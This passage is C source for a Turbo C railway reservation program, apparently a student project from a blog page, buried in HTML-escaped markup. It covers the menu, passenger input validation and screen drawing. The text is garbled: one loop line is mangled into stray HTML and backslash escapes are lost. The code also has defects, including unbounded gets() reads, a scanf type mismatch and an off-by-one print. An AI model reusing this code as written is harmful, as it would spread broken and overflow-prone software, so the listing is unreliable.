&lt;/span&gt;cprintf(" DEVELOPERS : ");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;cprintf("Dinesh Chachan");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(40,14);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;cprintf("Ashutosh Kumar");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(40,15);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;cprintf("Deepshikha Deb");&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(25,17);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;textcolor(YELLOW);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;putch(2);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;textcolor(CYAN);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;cprintf(" GUIDE &amp;nbsp; : ");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;textcolor(CYAN);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;cprintf("Udit Chakraborty");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(28,23); textcolor(MAGENTA + BLINK);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;cprintf("Press a key to continue");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;getch();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void mainmenu()&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char choice;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;setgraph();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;settextjustify(CENTER_TEXT, CENTER_TEXT);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;settextstyle(TRIPLEX_FONT, HORIZ_DIR, 5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;outtextxy(xmax,45,"Railway Reservation");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;/* draw a rectangle */&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;rectangle(100,150,500,350);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(17,12);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("1. For reservation press &amp;nbsp;1&lt;br /&gt;");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(17,14);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("2. For cancellation press 2&lt;br /&gt;");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(17,16);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("3. For enquiry press 3&lt;br /&gt;");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(17,18);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("4. For closing the program press 4&lt;br /&gt;");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(48,25);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("Created by SOFTECH SOLUTIONS Ltd.");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(20,20);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("Choice : ");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;scanf("%d",&amp;amp;choice);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;switch(choice)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;case 1:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;reserv();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;case 2:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;closegraph();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;clrscr();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;cancel();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;case 3:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;closegraph();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;enquiry();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;case 4:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;exit(1);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;default:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(29,20);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("Not a valid choice");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;main();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;br /&gt;}&lt;br /&gt;int pass_name(int i,int x, int y)&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int flag,pos;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;do&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;flag=1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gotoxy(x,y);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;fflush(stdin);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gets(passenger.passen[i]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;fflush(stdin);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;strupr(passenger.passen[i]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;if (strlen(passenger.passen[i]) == 0)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;if(i&amp;gt;0)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;return(7);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(10,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("aPassenger Name should not be left BLANK");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;flag=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;//i--;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;else if (strlen(passenger.passen[i]) &amp;gt;20)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;//gotoxy(10,20);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(10,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("aPassenger Name must be less than 20 characters");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;flag=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}while(flag==0);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(x,y);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;puts(passenger.passen[i]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;i++;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;return(i);&lt;br /&gt;}&lt;br /&gt;int pass_sex(int j,int x,int y)&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int flag,i;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char ch[1][1];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;do&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;flag=1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gotoxy(x,y);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;fflush(stdin);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gets(passenger.sex[j]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;fflush(stdin);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;strupr(passenger.sex[j]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;if (strlen(passenger.sex[j]) == 0)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(10,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("aSex should not be left BLANK");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;flag=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;else if(strlen(passenger.sex[j])!=1)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(10,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("aPassenger's Sex must be 1 characters long");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;flag=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}while (flag==0);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(x,y);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;puts(passenger.sex[j]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;j++;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;return(j);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int pass_age(int k,int x,int y)&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int flag,i,j;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;do&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;flag=1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gotoxy(x,y);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;if(flag==1)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;no_pass++;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gets(passenger.age[k]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;fflush(stdin);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;strupr(passenger.age[k]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;if (strlen(passenger.age[k]) == 0)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(10,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("aPassenger's Age should not be left BLANK");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;flag=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;else if (strlen(passenger.age[k])!=2)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(10,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("aPassenger's Age must be equal to 2 characters");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;flag=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;//&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;k--;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;else if(strcmp(passenger.age[k],"00")==0)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(10,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("aPassenger's Age cannot be less than 1 year");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;flag=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;for(i=k;i&lt;k+1;i++)&lt; p=""&gt;&lt;/k+1;i++)&lt;&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;for(j=0;j&amp;lt;2;j++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;if(!isdigit(passenger.age[i][j]))&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;					&lt;/span&gt;gotoxy(10,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;					&lt;/span&gt;printf("aEnter a valid age");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;					&lt;/span&gt;flag=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;					&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;					&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}while (flag==0);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(x,y);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;k++;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;puts(passenger.age[k]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;return(k);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;showmouseptr()&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;i.x.ax=1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int86(0x33,&amp;amp;i,&amp;amp;o);&lt;br /&gt;}&lt;br /&gt;int restrictmouseptr(int x1,int y1,int x2,int y2)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;i.x.ax=7;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;i.x.cx=x1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;i.x.dx=x2;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int86(0x33,&amp;amp;i,&amp;amp;o);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;i.x.ax=8;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;i.x.cx=y1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;i.x.dx=y2;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int86(0x33,&amp;amp;i,&amp;amp;o);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;void clear()&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int i,j;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&amp;lt;=80;i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;for(j=0;j&amp;lt;=25;j++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("%c",' ');&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(i,j);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(1,1);&lt;br /&gt;}&lt;br /&gt;void setgraph()&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;clrscr();&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;/* initialize graphics and local variables */&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;initgraph(&amp;amp;gdriver, &amp;amp;gmode, "c:\tc\bgi");&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;/* read result of initialization */&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;errorcode = graphresult();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;/* an error occurred */&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;if (errorcode != grOk)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; printf("Graphics error: %s&lt;br /&gt;", grapherrormsg(errorcode));&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; printf("Press any key to halt:");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; exit(1);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;xmax = getmaxx()/2;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;ymax = getmaxy()/2;&lt;br /&gt;}&lt;br /&gt;void clearline(int yco)&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int i,j;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(5,yco);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&amp;lt;70;i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("%c",' ');&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;br /&gt;}&lt;br /&gt;void drawbox()&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int xr,xc;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int la,ra;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(0,0);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(xr=1;xr&amp;lt;=80;xr++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("Ä");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;xc=2;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(la=1;la&amp;lt;=23;la++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gotoxy(1,xc);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("³");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gotoxy(80,xc);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("³");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;xc++;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(0,25);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(xr=1;xr&amp;lt;80;xr++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("Ä");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(1,1);&lt;br 